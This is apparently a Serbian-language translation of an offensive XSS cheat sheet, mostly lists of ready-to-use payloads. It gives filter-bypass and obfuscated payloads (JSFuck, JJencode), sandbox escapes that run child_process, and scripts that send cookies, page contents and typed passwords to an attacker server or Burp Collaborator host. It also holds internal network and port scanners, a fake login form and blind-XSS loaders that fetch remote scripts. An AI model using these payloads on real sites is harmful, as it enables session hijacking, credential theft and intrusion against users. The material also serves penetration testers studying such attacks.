x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM ranjivosti

Postoji JS kod koji koristi nesigurne podatke kontrolisane od strane napadača kao što je location.href. Napadač bi mogao iskoristiti ovo da izvrši proizvoljan JS kod.
Zbog proširenja objašnjenja DOM ranjivosti premešteno je na ovu stranicu:

{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}

Tamo ćete pronaći detaljno objašnjenje šta su DOM ranjivosti, kako se izazivaju i kako ih iskoristiti.
Takođe, ne zaboravite da na kraju pomenutog posta možete pronaći objašnjenje o DOM Clobbering napadima.

Ostali Bypass-ovi

Normalizovani Unicode

Možete proveriti da li se reflektovane vrednosti normalizuju u Unicode formatu na serveru (ili na strani klijenta) i iskoristiti ovu funkcionalnost da zaobiđete zaštitu. Pronađite primer ovde.

PHP FILTER_VALIDATE_EMAIL flag Bypass

"><svg/onload=confirm(1)>"@x.y

Bypass za Ruby-On-Rails

Zbog RoR masovnog dodeljivanja navodnici se ubacuju u HTML, a zatim se ograničenje navodnika zaobilazi i dodaju se dodatna polja (onfocus) unutar taga.
Primer obrasca (iz ovog izveštaja), ako pošaljete payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Par "Ključ","Vrednost" će biti vraćen kao:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Zatim će biti umetnut atribut onfocus i doći će do XSS napada.

Posebne kombinacije

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS sa ubacivanjem zaglavlja u 302 odgovoru

Ako otkrijete da možete ubaciti zaglavlja u 302 Redirect odgovor, možete pokušati naterati pregledač da izvrši proizvoljni JavaScript. Ovo nije trivijalno jer moderni pregledači ne tumače telo HTTP odgovora ako je statusni kod HTTP odgovora 302, pa je samo XSS payload beskoristan.

U ovom izveštaju i ovom možete pročitati kako možete testirati nekoliko protokola unutar zaglavlja Lokacija i videti da li bilo koji od njih omogućava pregledaču da pregleda i izvrši XSS payload unutar tela.

Prošli poznati protokoli: mailto://, //x:1/, ws://, wss://, prazno zaglavlje Lokacija, resource://.

Samo slova, brojevi i tačke

Ako možete naznačiti callback koji će JavaScript izvršiti ograničen na ove karaktere, pročitajte ovaj odeljak ovog posta da biste saznali kako iskoristiti ovaj ponašanje.

Validni <script> Content-Type za XSS

(Od ovde) Ako pokušate učitati skript sa content-type-om poput application/octet-stream, Chrome će prikazati sledeću grešku:

Refused to execute script from https://uploader.c.hc.lc/uploads/xxx' because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.

Jedini Content-Type-ovi koji će podržati Chrome da pokrene učitanu skriptu su oni unutar konstante kSupportedJavascriptTypes sa https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Vrste skriptova za XSS

(Od ovde) Dakle, koje vrste mogu biti naznačene za učitavanje skripta?

<script type="???"></script>

Odgovor je:

  • modul (podrazumevano, ništa posebno za objašnjavanje)
  • webbundle: Web paketi su funkcija koja vam omogućava da zapakujete gomilu podataka (HTML, CSS, JS...) zajedno u .wbn fajl.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Omogućava poboljšanje sintakse uvoza
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>

Ovo ponašanje je korišćeno u ovom writeup-u da bi se preslikala biblioteka na eval kako bi se zloupotrebila i pokrenula XSS.

  • speculationrules: Ova funkcija je uglavnom tu da reši neke probleme izazvane predrenderovanjem. Radi na sledeći način:
<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>

Vrste web sadržaja za XSS

(From ovde) Sledeći tipovi sadržaja mogu izvršiti XSS u svim pregledačima:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? nije na listi, ali mislim da sam ovo video na CTF-u)
  • application/rss+xml (isključeno)
  • application/atom+xml (isključeno)

U drugim pregledačima, drugi Content-Types mogu se koristiti za izvršavanje proizvoljnog JS koda, proverite: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Tip sadržaja

Ako stranica vraća tip sadržaja text/xml, moguće je naznačiti prostor imena i izvršiti proizvoljni JS kod:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Posebni obrasci zamene

Kada se koristi nešto poput "neki {{šablon}} podaci".replace("{{šablon}}", <korisnički_unos>), napadač može koristiti posebne zamene niski da pokuša da zaobiđe neke zaštite: "123 {{šablon}} 456".replace("{{šablon}}", JSON.stringify({"ime": "$'$`alert(1)//"}))

Na primer, u ovom objašnjenju, ovo je korišćeno da izbegne JSON nisku unutar skripte i izvrši proizvoljan kod.

Chrome keširanje za XSS

{% content-ref url="chrome-cache-to-xss.md" %} chrome-cache-to-xss.md {% endcontent-ref %}

XS Jails bekstvo

Ako imate ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za XSJail probleme:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Ako je sve nedefinisano pre izvršavanja nepoverenog koda (kao u ovom writeup-u), moguće je generisati korisne objekte "iz ničega" kako bi se zloupotrebilo izvršavanje proizvoljnog nepoverenog koda:

  • Korišćenjem import()
// although import "fs" doesnt work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
  • Pristupanje require indirektno

Prema ovome moduli su omotani od strane Node.js unutar funkcije, kao što je ovo:

(function (exports, require, module, __filename, __dirname) {
// our actual module code
});

Dakle, ako iz tog modula možemo pozvati drugu funkciju, moguće je koristiti arguments.callee.caller.arguments[1] iz te funkcije da pristupimo require:

{% code overflow="wrap" %}

(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()

Na sličan način kao u prethodnom primeru, moguće je koristiti rukovaoce greškama da pristupite omotaču modula i dobijete funkciju require:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()

Obfuskacija i Napredni Bypass

//Katana
<script>([,,,,,]=[]+{},[,,,,,,,,,,]=[!!]+!+.)[=++++++++++][](+++++'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}

XSS uobičajeni payload-ovi

Više payload-a u 1

{% content-ref url="steal-info-js.md" %} steal-info-js.md {% endcontent-ref %}

Dobijanje kolačića

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

{% hint style="info" %} Nećete moći pristupiti kolačićima iz JavaScript-a ako je postavljena zastava HTTPOnly u kolačiću. Ali ovde imate neke načine za zaobilaženje ove zaštite ako imate dovoljno sreće. {% endhint %}

Ukradi sadržaj stranice

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);

Pronađite interne IP adrese

<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}

function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});

setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>

Port Skener (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Skener (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Kratka vremena ukazuju na odgovarajući port Duža vremena ukazuju na nedostatak odgovora.

Pregledajte listu zabranjenih portova u Chrome ovde i u Firefox-u ovde.

Polje za unos podataka

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Snimanje automatskog popunjavanja lozinki

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Kada se unesu podaci u polje za lozinku, korisničko ime i lozinka se šalju na server napadača, čak i ako klijent izabere sačuvanu lozinku i ne unese ništa, podaci će biti eksfiltrirani.

Keylogger

Samo pretražujući na githubu pronašao sam nekoliko različitih:

Krađa CSRF tokena

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Krađa PostMessage poruka

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Zloupotreba servisnih radnika

{% content-ref url="abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Pristupanje Shadow DOM-u

{% content-ref url="shadow-dom.md" %} shadow-dom.md {% endcontent-ref %}

Poligloti

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}

Slepi XSS payloadi

Možete takođe koristiti: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
